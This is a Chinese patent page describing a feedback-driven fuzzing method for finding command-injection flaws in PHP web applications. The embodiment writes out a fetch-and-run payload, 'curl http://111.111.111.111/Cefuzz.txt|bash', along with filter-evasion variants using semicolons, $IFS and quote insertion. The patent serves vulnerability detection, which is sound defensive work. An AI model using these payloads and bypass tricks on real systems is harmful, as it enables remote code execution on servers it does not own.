CN114117426B - 一种web应用漏洞检测方法及系统 - Google Patents
一种web应用漏洞检测方法及系统 Download PDFInfo
- Publication number
- CN114117426B CN114117426B CN202111352591.5A CN202111352591A CN114117426B CN 114117426 B CN114117426 B CN 114117426B CN 202111352591 A CN202111352591 A CN 202111352591A CN 114117426 B CN114117426 B CN 114117426B
- Authority
- CN
- China
- Prior art keywords
- vulnerability
- web application
- target web
- potential
- source code
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Active
Links
Images
Classifications
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F21/00—Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F21/50—Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
- G06F21/55—Detecting local intrusion or implementing counter-measures
- G06F21/56—Computer malware detection or handling, e.g. anti-virus arrangements
- G06F21/562—Static detection
- G06F21/563—Static detection by source code analysis
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F21/00—Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F21/50—Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
- G06F21/57—Certifying or maintaining trusted computer platforms, e.g. secure boots or power-downs, version controls, system software checks, secure updates or assessing vulnerabilities
- G06F21/577—Assessing vulnerabilities and evaluating computer system security
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F2221/00—Indexing scheme relating to security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F2221/03—Indexing scheme relating to G06F21/50, monitoring users, programs or devices to maintain the integrity of platforms
- G06F2221/034—Test or assess a computer or a system
Landscapes
- Engineering & Computer Science (AREA)
- Computer Security & Cryptography (AREA)
- Computer Hardware Design (AREA)
- General Engineering & Computer Science (AREA)
- Software Systems (AREA)
- Theoretical Computer Science (AREA)
- General Physics & Mathematics (AREA)
- Physics & Mathematics (AREA)
- Virology (AREA)
- Health & Medical Sciences (AREA)
- General Health & Medical Sciences (AREA)
- Computing Systems (AREA)
- Debugging And Monitoring (AREA)
Abstract
本发明提出一种WEB应用漏洞检测方法及系统,方法包括:获取目标WEB应用的程序标识,并根据程序标识得到目标WEB应用的源代码;对目标WEB应用的源代码进行命令注入漏洞检测;根据命令注入漏洞检测的结果向目标WEB应用的源代码中插入反馈代码;向目标WEB应用发送漏洞测试样例以触发潜在漏洞;如果潜在漏洞触发成功,则生成漏洞测试脚本;如果潜在漏洞触发失败,则获取目标WEB应用产生的反馈结果,并根据反馈结果调整漏洞测试样例。该方法基于渗透测试的基本流程,加入测试反馈机制,根据每次测试反馈信息,动态修改下一轮测试样例,提高漏洞检测能力,提高对Web漏洞的检测精确率,并降低漏洞误报率。
Description
技术领域
本发明属于网络安全技术领域,尤其涉及一种WEB应用漏洞检测方法及系统。
背景技术
近年来,我国云计算、大数据、物联网、工业互联网、人工智能等新技术新应用大规模发展,网络安全风险融合叠加并快速演变。互联网技术应用不断模糊物理世界和虚拟世界界限,对整个经济社会发展的融合、渗透、驱动作用日益明显,带来的风险挑战也不断增大,网络空间威胁和风险日益增多。其中,Web应用安全是网络安全问题中的重要一环,Web应用程序在社交网络、电子邮件、银行、购物等日常活动中扮演重要的角色,因此Web应用一旦出现漏洞,会出现较大危害。
目前对Web应用进行渗透测试是很多Web安全研究人员经常使用的方法,但该方法需要大量先验知识,需要Web安全研究人员拥有丰富的Web漏洞挖掘经验,因此,研究如何自动化进行渗透测试很有必要。
另外就是Web漏洞动态检测技术,该技术首先需要获取目标Web应用的可访问路径即URL,从该URL出发,爬取该Web应用所有能够访问页面的URL;对每个URL下的HTML页面进行html结构解析,分析其中可能存在的漏洞,针对可能存在的漏洞进行测试,如果发现存在漏洞,输出漏洞检测结果。该技术被广大web安全研究员接受和使用的原因是自动化程度高,只需要提供目标Web应用URL即可自动进行漏洞探测,相对于静态检测方法,其优点是发现的漏洞具有可达性,可复现;但其性能受限于爬虫规则,且无法绕过一些路径约束,导致其无法探测Web应用的所有路径,导致路径覆盖率低,漏洞漏报率高,且仅是简单的遍历测试难以较好的验证漏洞是否存在,导致漏洞检测能力低下。
发明内容
为解决上述技术问题,本发明提出一种WEB应用漏洞检测的技术方案,以解决现有技术中漏洞动态检测技术存在的路径覆盖率低和漏洞漏报率高的问题。
本发明第一方面公开了一种WEB应用漏洞检测方法;所述方法包括:
步骤S1、获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码;
步骤S2、对所述目标WEB应用的源代码进行命令注入漏洞检测;
步骤S3、根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码;
步骤S4、向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞;
步骤S5、如果所述潜在漏洞触发成功,则生成漏洞测试脚本;
步骤S6、如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
根据本发明第一方面的方法,在所述步骤S1中,获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码,具体包括:
获取所述目标WEB应用的程序标识;
如果获取的所述程序标识为超文本预处理器,则根据所述程序标识得到所述目标WEB应用的源代码。
根据本发明第一方面的方法,在所述步骤S2中,对所述目标WEB应用的源代码进行命令注入漏洞检测,具体包括:
根据命令注入漏洞中使用的高危函数利用正则匹配方法对所述目标WEB应用的源代码进行源代码扫描;
如果所述目标WEB应用的源代码中存在一个语句的扫描结果符合检测条件,则将所述语句判定为潜在命令注入漏洞语句,并将所述语句所在文件路径和所在代码行保存到数据库中,其中所述检测条件为使用命令注入漏洞中的高危函数且所述高危函数中出现超文本预处理器变量;
对每一条所述潜在命令注入漏洞语句所在的文件进行抽象语法树解析以构建抽象语法树;
根据所述抽象语法树生成程序控制流图;
基于所述程序控制流图对所述潜在命令注入漏洞语句所在的基本块进行路径回溯求得潜在漏洞程序执行路径;
将所述潜在漏洞程序执行路径上的所有基本块节点集合称为A集合,并求出所述A集合中所有节点的分支节点,所述分支节点即为检查点。
根据本发明第一方面的方法,在步骤S3中,根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码,具体包括:
在所述目标WEB应用的源代码的检查点前后分别插入反馈输出语句。
根据本发明第一方面的方法,在所述步骤S4中,向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞,具体包括:
根据命令注入漏洞检测的结果和初始漏洞测试样例生成漏洞测试请求,所述命令注入漏洞检测的结果包括潜在漏洞触发访问路径;
根据所述漏洞测试请求向所述目标WEB应用发送漏洞测试样例,其中,所述漏洞测试样例由三种不同类型的命令构成。
根据本发明第一方面的方法,在所述步骤S5中,如果所述潜在漏洞触发成功,则生成漏洞测试脚本,具体包括:
对所述目标WEB应用的服务器目录下的文件进行监控,如果检测到存在Cefuzz.php文件,则说明通过所述漏洞测试样例中的第一类预设命令触发漏洞成功;
对所述目标WEB应用的反馈结果的内容进行正则匹配,如果匹配到特征字符串,则说明通过所述漏洞测试样例中的第二类预设命令和/或第三类预设命令触发漏洞成功;
读取漏洞测试脚本模板文件,并基于漏洞测试的请求参数和数据替换所述漏洞测试脚本模板文件中的相应部分,生成所述漏洞测试脚本。
根据本发明第一方面的方法,在所述步骤S6中,如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例,具体包括:
获取通过检查点最多的漏洞测试样例;
选取一种变异策略对所述过检查点最多的漏洞测试样例中的命令进行变异。
本发明第二方面公开了一种WEB应用漏洞检测系统;所述系统包括:
目标应用获取模块,被配置为,获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码;
简要检测模块,被配置为,对所述目标WEB应用的源代码进行命令注入漏洞检测;
插装模块,被配置为,根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码;
测试样例发送模块,被配置为,向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞;
测试脚本生成模块,如果所述潜在漏洞触发成功,则生成漏洞测试脚本;
以及,测试样例优化模块,被配置为,如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
本发明第三方面公开了一种电子设备。电子设备包括存储器和处理器,存储器存储有计算机程序,处理器执行计算机程序时,实现本公开第一方面中任一项的一种WEB应用漏洞检测方法中的步骤。
本发明第四方面公开了一种计算机可读存储介质。计算机可读存储介质上存储有计算机程序,计算机程序被处理器执行时,实现本公开第一方面中任一项的一种WEB应用漏洞检测方法中的步骤。
可见,本发明提出的方案,加入了漏洞简要探测环节,能够发现潜在漏洞;而现有技术探测能力取决于html解析模块和漏洞判定模块,存在较大的漏洞误报情况;加入了测试样例反馈变异机制,能够根据测试样例的效果针对性进行测试样例变异,提高触发漏洞的概率,与现有方案相比,能够避免盲目的遍历测试。
综上,本发明提出的方案从实际需求和应用的角度出发,设计出一种WEB应用漏洞检测方法,其为基于渗透测试的自动化Web漏洞检测方法,它主要基于渗透测试的基本流程,加入测试反馈机制,根据每次测试反馈信息,动态修改下一轮测试样例,提高漏洞检测能力,提高对Web漏洞的检测精确率,并降低漏洞误报率。
附图说明
为了更清楚地说明本发明具体实施方式或现有技术中的技术方案,下面将对具体实施方式或现有技术描述中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图是本发明的一些实施方式,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
图1为根据本发明实施例的一种WEB应用漏洞检测方法的流程图;
图2为根据本发明实施例的一种WEB应用漏洞检测方法的具体实现过程图;
图3为根据本发明实施例的一种WEB应用漏洞检测系统的结构图;
图4为根据本发明实施例的一种电子设备的结构图。
具体实施方式
为使本发明实施例的目的、技术方案和优点更加清楚,下面将结合本发明实施例中的附图,对本发明实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例只是本发明一部分实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本发明保护的范围。
本发明第一方面公开了一种WEB应用漏洞检测方法。图1为根据本发明实施例的一种WEB应用漏洞检测方法的流程图,如图1所示,所述方法包括:步骤S1、获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码;
步骤S2、对所述目标WEB应用的源代码进行命令注入漏洞检测;
步骤S3、根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码;
步骤S4、向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞;
步骤S5、如果所述潜在漏洞触发成功,则生成漏洞测试脚本;
步骤S6、如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
在步骤S1,获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码。
在一些实施例中,在所述步骤S1中,获取所述目标WEB应用的程序标识;
如果获取的所述程序标识为超文本预处理器,则根据所述程序标识得到所述目标WEB应用的源代码。
具体的,本发明中目标WEB应用程序特指超文本预处理器语言的应用程序,即PHPWEB应用程序,只要是PHP WEB应用程序都可以作为本漏洞检测方法的目标的WEB应用程序。
在步骤S2,对所述目标WEB应用的源代码进行命令注入漏洞检测。
在一些实施例中,在所述步骤S2中,根据命令注入漏洞中使用的高危函数利用正则匹配方法对所述目标WEB应用的源代码进行源代码扫描;
如果所述目标WEB应用的源代码中存在一个语句的扫描结果符合检测条件,则将所述语句判定为潜在命令注入漏洞语句,并将所述语句所在文件路径和所在代码行保存到数据库中,其中所述检测条件为使用命令注入漏洞中的高危函数且所述高危函数中出现超文本预处理器变量;
对每一条所述潜在命令注入漏洞语句所在的文件进行抽象语法树解析以构建抽象语法树;
根据所述抽象语法树生成程序控制流图;
基于所述程序控制流图对所述潜在命令注入漏洞语句所在的基本块进行路径回溯求得潜在漏洞程序执行路径;
将所述潜在漏洞程序执行路径上的所有基本块节点集合称为A集合,并求出所述A集合中所有节点的分支节点,所述分支节点即为检查点。
具体的,根据命令注入漏洞中使用的高危函数,包括但不限于eval,system,shell_exec,passthru等能够执行系统命令或PHP代码的函数,利用正则匹配的方法,对目标WEB应用进行源代码扫描。当发现源代码中一个语句满足(1)使用了命令注入漏洞中的高危函数(2)高危函数中出现PHP变量两个条件时,判定该语句为可能存在命令注入漏洞(下面称为潜在命令注入漏洞)的语句,并将该语句所在文件路径和所在代码行保存到数据库中,数据库包括但不限于mysql等主流数据库。
将每一条潜在命令注入漏洞语句所在的文件进行抽象语法树解析,基于抽象语法树生成程序控制流图。基于程序控制流图,对潜在命令注入漏洞语句所在的基本块进行路径回溯,求出从程序入口到潜在命令注入漏洞的程序执行路径(称为潜在漏洞程序执行路径),将该执行路径上的所有基本块节点集合称为A集合,并使用算法求出该执行路径上的分支节点,将这些节点称为检查点。
求分支节点的算法为:遍历先前求得的A集合中的每个节点,如果存在一个节点,其存在某后继节点不在A集合当中,说明该节点存在一条通向潜在漏洞程序执行路径外的路径,即该节点属于该执行路径上的分支节点。
在步骤S3,根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码。
在一些实施例中,在所述步骤S3中在所述目标WEB应用的源代码的检查点前后分别插入反馈输出语句。
具体的,如当前源代码文件中存在3个检查点,则在第一个检查点前后分别插入反馈语句echo“checking#1#”和echo“check pass#1#”,分别代表正在进行第一个检查和第一个检查通过。
在步骤S4,向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞。
在一些实施例中,在所述步骤S4中,根据命令注入漏洞检测的结果和初始漏洞测试样例生成漏洞测试请求,所述命令注入漏洞检测的结果包括潜在漏洞触发访问路径;
根据所述漏洞测试请求向所述目标WEB应用发送漏洞测试样例,其中,所述漏洞测试样例由三种不同类型的命令构成。
具体的,其中初始漏洞测试样例指用于测试命令注入漏洞的命令字符串,包括三种不同类型的命令:(1)执行命令后在WEB服务器目录下生成具有特殊特征的文件,如生成文件名为Cefuzz.php的文件;(2)执行命令后,WEB应用输出特定字符串的md5值,如特定字符串Cefuzz的md5值d9a6adadd9525a1bd3f8b274d6f22cdf;(3)执行命令后,WEB应用输出phpinfo函数执行内容,包括一些特殊特征字符串,如Zend Memory Manager等。
在步骤S5,如果所述潜在漏洞触发成功,则生成漏洞测试脚本。
在一些实施例中,在所述步骤S5中,对所述目标WEB应用的服务器目录下的文件进行监控,如果检测到存在Cefuzz.php文件,则说明通过所述漏洞测试样例中的第一类预设命令触发漏洞成功;
对所述目标WEB应用的反馈结果的内容进行正则匹配,如果匹配到特征字符串,则说明通过所述漏洞测试样例中的第二类预设命令和/或第三类预设命令触发漏洞成功;
读取漏洞测试脚本模板文件,并基于漏洞测试的请求参数和数据替换所述漏洞测试脚本模板文件中的相应部分,生成所述漏洞测试脚本。
具体的,发送由三种类型的命令构成的漏洞测试样例到WEB应用,当漏洞触发成功时,第一类预设命令将会在WEB服务器目录下生成具有特殊特征的文件,通过对WEB服务器目录的文件监控判断漏洞是否成功,当发现Cefuzz.php文件生成时,判定漏洞触发成功。
第二类预设命令和第三类预设命令则通过对WEB应用的响应数据包(即反馈结果)的内容进行正则匹配,当匹配到特征字符串,如d9a6adadd9525a1bd3f8b274d6f22cdf或Zend Memory Manager时,判定漏洞触发成功。
当判定漏洞触发成功时,读取漏洞测试脚本模板文件,并基于本次测试的请求参数和数据替换漏洞测试脚本模板文件中的相应部分,生成漏洞测试脚本。
在步骤S6,如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
在一些实施例中,在所述步骤S5中,如果如果所述潜在漏洞触发失败,则通过正则匹配方法获取当前所述目标WEB应用的反馈结果中检查点的通过情况;
获取通过检查点最多的漏洞测试样例;
选取一种变异策略对所述过检查点最多的漏洞测试样例中的命令进行变异。
具体的,当潜在漏洞触发失败时,通过正则匹配的方法获取当前WEB应用的响应数据包(即反馈结果)中检查点的通过情况。然后对所有初始漏洞测试样例的通过情况进行排序,通过检查点越多的测试样例排序靠前。
按照排序后的测试样例,随机选取一种变异策略对测试样例中的命令进行变异,变异策略包括但不限于对命令字符串添加前缀、添加后缀、替换空格、特殊字符插入、大小写绕过等。
将变异后的测试样例再次按照上述过程重复测试,若潜在漏洞触发失败,则继续根据当前WEB应用的响应数据包(即反馈结果)中检查点的通过情况对测试用例进行排序。选出通过检查点最多的变异策略,如变异策略A。则随后在已使用变异策略A的基础上,选择其他变异策略,如选择变异策略B。则新一轮的变异测试样例使用的变异策略为A和B。
具体的,如漏洞测试样例中的命令字符串为
curl http://111.111.111.111/Cefuzz.txt|bash
采用添加前缀的变异策略,变异后的命令字符串样例如下(前缀为分号,可以添加的前缀包括但不限于分号,单引号,双引号等)
;curl http://111.111.111.111/Cefuzz.txt|bash
采用添加后缀的变异策略,变异后的命令字符串样例如下(后缀为分号,可以添加的前缀包括但不限于分号,反引号,斜杠等)
curl http://111.111.111.111/Cefuzz.txt|bash
采用替换空格的变异策略,变异后的命令字符串样例如下(用于替换的字符串包括但不限于$IFS,%PROGRAMFILES:~10,-5%等能够替换空格并不破坏命令执行效果的字符串)
curl$IFShttp://111.111.111.111/Cefuzz.txt|bash
采用特殊字符插入的变异策略,变异后的命令字符串样例如下(插入的字符包括但不限于单引号,斜杠等插入后不破坏命令执行效果的字符)
c'ur'l http://111.111.111.111/Cefuzz.txt|bash
采用大小写的变异策略,变异后的命令字符串样例如下
CuRl http://111.111.111.111/Cefuzz.txt|bash
图2为本发明实施例的一种WEB应用漏洞检测方法的具体实现过程图,如图2所示,具体实现步骤为:
1、选定目标Web应用,在本例中选择单一一个文件作为Web应用进行描述;
2、进行漏洞简要探测,发现可能存在命令注入漏洞;
3、在if语句前后分别插入语句:
echo“checking#1#”
echo“check pass#1#”
如果测试样例无法到达“checking#1#”,则需要进行测试样例变异,以期绕过该check点;
一旦测试样例成功到达“check pass#1#”,则说明该样例较好;
4、发送漏洞测试样例请求。
5、如果成功触发漏洞,输出漏洞脚本poc。反之则根据反馈进行变异,继续重复测试,直到触发漏洞或漏洞测试样例耗尽。
本发明第二方面公开了一种WEB应用漏洞检测系统。图3为根据本发明实施例的一种WEB应用漏洞检测系统的结构图;如图3所示,所述系统300包括:
目标应用获取模块301,被配置为,获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码;
简要检测模块302,被配置为,对所述目标WEB应用的源代码进行命令注入漏洞检测;
插装模块303,被配置为,根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码;
测试样例发送模块304,被配置为,向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞;
测试脚本生成模块305,如果所述潜在漏洞触发成功,则生成漏洞测试脚本;
以及,测试样例优化模块306,被配置为,如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
本发明第三方面公开了一种电子设备。电子设备包括存储器和处理器,存储器存储有计算机程序,处理器执行计算机程序时,实现本公开第一方面中任一项的一种WEB应用漏洞检测方法中的步骤。
图4为根据本发明实施例的一种电子设备的结构图,如图4所示,电子设备包括通过系统总线连接的处理器、存储器、通信接口、显示屏和输入装置。其中,该电子设备的处理器用于提供计算和控制能力。该电子设备的存储器包括非易失性存储介质、内存储器。该非易失性存储介质存储有操作系统和计算机程序。该内存储器为非易失性存储介质中的操作系统和计算机程序的运行提供环境。该电子设备的通信接口用于与外部的终端进行有线或无线方式的通信,无线方式可通过WIFI、运营商网络、近场通信(NFC)或其他技术实现。该电子设备的显示屏可以是液晶显示屏或者电子墨水显示屏,该电子设备的输入装置可以是显示屏上覆盖的触摸层,也可以是电子设备外壳上设置的按键、轨迹球或触控板,还可以是外接的键盘、触控板或鼠标等。
本领域技术人员可以理解,图4中示出的结构,仅仅是与本公开的技术方案相关的部分的结构图,并不构成对本申请方案所应用于其上的电子设备的限定,具体的电子设备可以包括比图中所示更多或更少的部件,或者组合某些部件,或者具有不同的部件布置。
本发明第四方面公开了一种计算机可读存储介质。计算机可读存储介质上存储有计算机程序,计算机程序被处理器执行时,实现本公开第一方面中任一项的一种WEB应用漏洞检测方法中的步骤。
本发明中加入了漏洞简要探测环节,能够发现潜在漏洞;而现有技术探测能力取决于html解析模块和漏洞判定模块,存在较大的漏洞误报情况;加入了测试样例反馈变异机制,能够根据测试样例的效果针对性进行测试样例变异,提高触发漏洞的概率,能够避免盲目的遍历测试。
综上,本发明提出的方案从实际需求和应用的角度出发,设计出一种WEB应用漏洞检测方法,其为基于渗透测试的自动化Web漏洞检测方法,它主要基于渗透测试的基本流程,加入测试反馈机制,根据每次测试反馈信息,动态修改下一轮测试样例,提高漏洞检测能力,提高对Web漏洞的检测精确率,并降低漏洞误报率。
请注意,以上实施例的各技术特征可以进行任意的组合,为使描述简洁,未对上述实施例中的各个技术特征所有可能的组合都进行描述,然而,只要这些技术特征的组合不存在矛盾,都应当认为是本说明书记载的范围。以上实施例仅表达了本申请的几种实施方式,其描述较为具体和详细,但并不能因此而理解为对发明专利范围的限制。应当指出的是,对于本领域的普通技术人员来说,在不脱离本申请构思的前提下,还可以做出若干变形和改进,这些都属于本申请的保护范围。因此,本申请专利的保护范围应以所附权利要求为准。
Claims (8)
1.一种WEB应用漏洞检测方法,其特征在于,所述方法包括:
步骤S1、获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码;其中:
所述目标WEB应用程序为超文本预处理器语言的应用程序;
步骤S2、对所述目标WEB应用的源代码进行命令注入漏洞检测,以确定所述目标WEB应用的源代码的检查点;具体包括:
根据命令注入漏洞中使用的高危函数利用正则匹配方法对所述目标WEB应用的源代码进行源代码扫描;
如果所述目标WEB应用的源代码中存在一个语句的扫描结果符合检测条件,则将所述语句判定为潜在命令注入漏洞语句,并将所述语句所在文件路径和所在代码行保存到数据库中,其中所述检测条件为使用命令注入漏洞中的高危函数且所述高危函数中出现超文本预处理器变量;
对每一条所述潜在命令注入漏洞语句所在的文件进行抽象语法树解析以构建抽象语法树;
根据所述抽象语法树生成程序控制流图;
基于所述程序控制流图对所述潜在命令注入漏洞语句所在的基本块进行路径回溯求得潜在漏洞程序执行路径;
将所述潜在漏洞程序执行路径上的所有基本块节点集合称为A集合,并求出所述A集合中所有节点的分支节点,所述分支节点即为检查点;步骤S3、根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码;具体包括:
在所述目标WEB应用的源代码的检查点前后分别插入反馈输出语句;
步骤S4、向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞;
步骤S5、如果所述潜在漏洞触发成功,则生成漏洞测试脚本;
步骤S6、如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
2.根据权利要求1所述的一种WEB应用漏洞检测方法,其特征在于,在所述步骤S1中,获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码,具体包括:
获取所述目标WEB应用的程序标识;
如果获取的所述程序标识为超文本预处理器,则根据所述程序标识得到所述目标WEB应用的源代码。
3.根据权利要求2所述的一种WEB应用漏洞检测方法,其特征在于,在所述步骤S4中,向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞,具体包括:
根据命令注入漏洞检测的结果和初始漏洞测试样例生成漏洞测试请求,所述命令注入漏洞检测的结果包括潜在漏洞触发访问路径;
根据所述漏洞测试请求向所述目标WEB应用发送漏洞测试样例,其中,所述漏洞测试样例由三种不同类型的命令构成。
4.根据权利要求3所述的一种WEB应用漏洞检测方法,其特征在于,在所述步骤S5中,如果所述潜在漏洞触发成功,则生成漏洞测试脚本,具体包括:
对所述目标WEB应用的服务器目录下的文件进行监控,如果检测到存在Cefuzz.php文件,则说明通过所述漏洞测试样例中的第一类预设命令触发漏洞成功;
对所述目标WEB应用的反馈结果的内容进行正则匹配,如果匹配到特征字符串,则说明通过所述漏洞测试样例中的第二类预设命令和/或第三类预设命令触发漏洞成功;
读取漏洞测试脚本模板文件,并基于漏洞测试的请求参数和数据替换所述漏洞测试脚本模板文件中的相应部分,生成所述漏洞测试脚本。
5.根据权利要求 4所述的一种WEB应用漏洞检测方法,其特征在于,在所述步骤S6中,如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例,具体包括:
获取通过检查点最多的漏洞测试样例;
选取一种变异策略对所述过检查点最多的漏洞测试样例中的命令进行变异。
6.一种WEB应用漏洞检测系统,其特征在于,所述系统包括:
目标应用获取模块,被配置为,获取目标WEB应用的程序标识,并根据所述程序标识得到所述目标WEB应用的源代码;其中:
所述目标WEB应用程序为超文本预处理器语言的应用程序;
简要检测模块,被配置为,对所述目标WEB应用的源代码进行命令注入漏洞检测,以确定所述目标WEB应用的源代码的检查点;具体包括:
根据命令注入漏洞中使用的高危函数利用正则匹配方法对所述目标WEB应用的源代码进行源代码扫描;
如果所述目标WEB应用的源代码中存在一个语句的扫描结果符合检测条件,则将所述语句判定为潜在命令注入漏洞语句,并将所述语句所在文件路径和所在代码行保存到数据库中,其中所述检测条件为使用命令注入漏洞中的高危函数且所述高危函数中出现超文本预处理器变量;
对每一条所述潜在命令注入漏洞语句所在的文件进行抽象语法树解析以构建抽象语法树;
根据所述抽象语法树生成程序控制流图;
基于所述程序控制流图对所述潜在命令注入漏洞语句所在的基本块进行路径回溯求得潜在漏洞程序执行路径;
将所述潜在漏洞程序执行路径上的所有基本块节点集合称为A集合,并求出所述A集合中所有节点的分支节点,所述分支节点即为检查点;插装模块,被配置为,根据命令注入漏洞检测的结果向所述目标WEB应用的源代码中插入反馈代码;具体包括:
在所述目标WEB应用的源代码的检查点前后分别插入反馈输出语句;
测试样例发送模块,被配置为,向所述目标WEB应用发送漏洞测试样例以触发潜在漏洞;
测试脚本生成模块,如果所述潜在漏洞触发成功,则生成漏洞测试脚本;
以及,测试样例优化模块,被配置为,如果所述潜在漏洞触发失败,则获取所述目标WEB应用产生的反馈结果,并根据所述反馈结果调整所述漏洞测试样例。
7.一种电子设备,其特征在于,所述电子设备包括存储器和处理器,所述存储器存储有计算机程序,所述处理器执行所述计算机程序时,实现权利要求1至5中任一项所述的一种WEB应用漏洞检测方法中的步骤。
8.一种计算机可读存储介质,其特征在于,所述计算机可读存储介质上存储有计算机程序,所述计算机程序被处理器执行时,实现权利要求1至5中任一项所述的一种WEB应用漏洞检测方法中的步骤。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202111352591.5A CN114117426B (zh) | 2021-11-16 | 2021-11-16 | 一种web应用漏洞检测方法及系统 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202111352591.5A CN114117426B (zh) | 2021-11-16 | 2021-11-16 | 一种web应用漏洞检测方法及系统 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN114117426A CN114117426A (zh) | 2022-03-01 |
CN114117426B true CN114117426B (zh) | 2023-03-24 |
Family
ID=80395634
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN202111352591.5A Active CN114117426B (zh) | 2021-11-16 | 2021-11-16 | 一种web应用漏洞检测方法及系统 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN114117426B (zh) |
Citations (2)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN104462981A (zh) * | 2013-09-12 | 2015-03-25 | 深圳市腾讯计算机系统有限公司 | 漏洞检测方法及装置 |
CN105808426A (zh) * | 2016-02-28 | 2016-07-27 | 徐州工程学院 | 一种用于弱变异测试的路径覆盖测试数据生成方法 |
Family Cites Families (5)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
WO2003067405A2 (en) * | 2002-02-07 | 2003-08-14 | Empirix Inc. | Automated security threat testing of web pages |
CN102567200A (zh) * | 2011-12-14 | 2012-07-11 | 北京航空航天大学 | 基于函数调用图的并行化安全漏洞检测方法 |
US9454659B1 (en) * | 2014-08-15 | 2016-09-27 | Securisea, Inc. | Software vulnerabilities detection system and methods |
CN112131573A (zh) * | 2020-09-14 | 2020-12-25 | 深信服科技股份有限公司 | 安全漏洞的检测方法、装置及存储介质 |
CN113326050B (zh) * | 2021-07-07 | 2023-10-17 | 浙江工商大学 | 基于神经网络与动态模糊测试结合的智能合约漏洞检测方法 |
-
2021
- 2021-11-16 CN CN202111352591.5A patent/CN114117426B/zh active Active
Patent Citations (2)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN104462981A (zh) * | 2013-09-12 | 2015-03-25 | 深圳市腾讯计算机系统有限公司 | 漏洞检测方法及装置 |
CN105808426A (zh) * | 2016-02-28 | 2016-07-27 | 徐州工程学院 | 一种用于弱变异测试的路径覆盖测试数据生成方法 |
Non-Patent Citations (2)
Title |
---|
基于PHP的WEB漏洞挖掘技术研究;王宇乔;《中国优秀硕士学位论文全文数据库信息科技辑》;20180415(第4期);I139-319 * |
针对PHP应用的二阶漏洞检测方法;周航等;《信息安全研究》;20180405(第04期);102-108 * |
Also Published As
Publication number | Publication date |
---|---|
CN114117426A (zh) | 2022-03-01 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
Melicher et al. | Riding out domsday: Towards detecting and preventing dom cross-site scripting | |
Gupta et al. | Enhancing the browser-side context-aware sanitization of suspicious HTML5 code for halting the DOM-based XSS vulnerabilities in cloud | |
US9043924B2 (en) | Method and system of runtime analysis | |
CN112560045A (zh) | 应用程序漏洞检测方法、装置、计算机设备和存储介质 | |
Xue et al. | Detection and classification of malicious JavaScript via attack behavior modelling | |
Shahriar et al. | Mutec: Mutation-based testing of cross site scripting | |
